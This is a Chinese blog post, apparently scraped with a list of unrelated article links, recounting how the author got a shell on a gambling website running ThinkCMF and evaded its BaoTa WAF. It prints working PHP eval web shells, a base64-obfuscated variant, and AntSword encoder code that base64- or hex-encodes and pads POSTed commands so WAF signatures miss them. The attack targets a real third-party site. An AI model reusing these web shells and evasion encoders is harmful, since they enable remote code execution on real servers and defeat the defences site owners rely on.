过WAF的小思路
过WAF的小思路
前言
最近在学习了一波CMS漏洞,尝试看了几个菠菜站,有宝塔WAF。。。向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)
前期的过程
菠菜采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦! :)
按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF。。。更别说蚁剑连接了。。。
WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,因此我们需要对蚁剑的流量特征进行混淆加密
一个正常的shell如下:
<?php @eval($_POST['hack']);?>
但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点
比如说<?php @eval(base_decode($_POST['test']));?>
让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了
但是。。。
cmd命令执行
但是蚁剑连接shell爆红了。。。
明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???
其实,我们可以先学一下蚁剑流量的相关知识
首先看看蚁剑的base64编码器结构:
'use strict';
/*
@param {String} pwd 连接密码
@param {Array} data 编码器处理前的 payload 数组
@return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
解释一下:
pwd: 类型是String, 这个是 shell 的连接密码
data: 类型是 Array, 这个是要发送的 HTTP POST 数据包
Buffer.from(data['_']).toString('base64')
将data['_']
中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。虽然data['_']
中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。
而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到
那该怎么办呢???
WAF拦了蚁剑发送的其它参数时怎么操作 (qq.com)
从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。
解码器内容:
*/
'use strict';
module.exports = (pwd, data) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = Buffer.from(data['_']).toString('hex');
return ret;
}
因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)
比如像这样:
let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}
同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:
<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>
在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234
然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。
过WAF的小思路的更多相关文章
- 应急分析异常通信的小思路和自己写的小工具(查询CNAME和A记录)
一.背景: 在很多时候,应急会发现.卧槽,异常连接,只有一个域名或者IP. 怎么办?上防火墙看记录,查域名对应的记录累成狗,自己把之前的代码改了改,写了个小工具,一条命令查询DNS相关记录,也可以指定 ...
- asp.net mvc 配合前端js的CMD模块化部署思想,小思路
1)布局视图,用于协调普通视图和共享视图,实现js库自由选择引用 @{ //具体页面定义好需要引入的js文件,在这里通过共享视图渲染出来 var jsDefines = ViewBag.JsDefin ...
- SharePoint 2010 母版页定制小思路介绍
转:http://tech.ddvip.com/2013-11/1384521515206064.html 介绍:我们使用SharePoint2010做门户网站,经常需要定制母版页,但是2010提供的 ...
- Android几种Service常驻内存的小思路
老话说的好:躲得了初一,躲只是高三 ! 大多数的Android开发人员遇到的一个问题-怎样保证Service常驻内存. 近期我最终也在项目中务必幸运的遇到了 先来了解一下什么是Service常驻内存. ...
- 【贪心+一点小思路】Zoj - 3829 Known Notation
借用别人一句话,还以为是个高贵的dp... ... 一打眼一看是波兰式的题,有点懵还以为要用后缀表达式或者dp以下什么什么的,比赛后半阶段才开始仔细研究这题发现贪心就能搞,奈何读错题了!!交换的时候可 ...
- 【几何模板加点小思路】hdu-4998 Rotate
用几何模板敲的,也有直接公式推的,追求短代码的可以点右上角小红了...... 题意就是想想一个物体分别做绕某一点(给出坐标)旋转p度(给出角度)后,其位置等价于绕哪一点旋转多少度,输出该等价点及其等价 ...
- 灵感&小思路
1.被处理的数据量级比较大.没有明显规律可循,可以分割.或者提取文件,采用分步和保存思想去解决. 比如在使用python的正则re模块时候,根据被处理对象提取属性抽象一个基类,方法实现分步,并且把中间 ...
- Jmeter接口压测小思路
1.压力接口测试分2种:一种是单场景,压一个接口:第二种是混合场景,多个有关联的接口.压测时间,一般场景都运行10-15分钟.如果是疲劳测试,可以压一天或一周,根据实际情况定. 2.压测前要明确压测功 ...
- WAF指纹识别和XSS过滤器绕过技巧
[译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...
随机推荐
- java内存模型——重排序
线程安全问题概括来说表现为三个方面:原子性,可见性和有序性. 在多核处理器的环境下:编译器可能改变两个操作的先后顺序:处理器可能不是完全依照程序的目标代码所指定的顺序执行命令:一个处理器执行的多个操作 ...
- 手把手教你玩转HarmonyOS版地图应用开发
一.导读 7月31日,华为HarmonyOS开发者日将在杭州举行.为了方便更多开发者,高德开放平台地图SDK已在业内率先实现鸿蒙化迁移和重构,全面适配HarmonyOS并面向开发者免费发布.开发者可 ...
- 从零开始了解kubernetes
kubernetes 已经成为容器编排领域的王者,它是基于容器的集群编排引擎,具备扩展集群.滚动升级回滚.弹性伸缩.自动治愈.服务发现等多种特性能力. 本文将带着大家快速了解 kubernetes , ...
- jquery 中 live() 对于js的需求版本导致不可用解决办法
$('body').on('click','.edit', function() { var id = $(this).parent().attr('id'); ...
- scrapy 使用crawlspider rule不起作用的解决方案
一直用的是通用spider,今天刚好想用下CrawlSpider来抓下数据.结果Debug了半天,一直没法进入详情页的解析逻辑.. 爬虫代码是这样的 # -*- coding: utf-8 -*- i ...
- Java后端编译
概述 如果我们把字节码看作是程序语言的一种中间表示形式(Intermediate Representation,IR)的话, 那编译器无论在何时.在何种状态下把Class文件转换成与本地基础设施(硬件 ...
- 干了六年Android开发现在裸辞失业了,再过2个月就30了,该怎么继续生活?
这是我在某论坛看到别人分享的故事,觉得可以展开聊一下,对于我们这些中年程序员,可以裸辞吗? 前言 首先介绍一下主人公的情况.目前所在的是一家小的创业公司,待了3年多,薪资一般吧,之前在一家中型上市企业 ...
- 终于有人把Android技术面试知识体系整理出来了,这些学习手册让你的面试稳如泰山
前言 年年寒冬,年年也挡不住一个安卓程序员追求大厂的决心.想要进入大厂,我们需要掌握哪些知识点呢?这里,我为大家梳理了一个整体的知识架构.整体包括Java.Android.算法.计算机基础等等,相应的 ...
- 小知识get:利用单臂路由实现不同vlan间路由
一.单臂路由概述 1.1.单臂路由实现不同vlan间通信 链路类型 交换机连接主机的端口为access链路 交换机连接路由器的端口为Trunk链路 子接口 路由器的物理接口可以被划分成多个逻辑接口 每 ...
- MySQL-18-MHA+Atlas读写分离架构
Atlas介绍 Atlas是由Qihoo 360 Web平台部基础架构团队开发维护的一个基于MySQL协议的数据中间层项目 它是在mysql-proxy 0.8.2版本的基础上,对其进行了优化,增加了 ...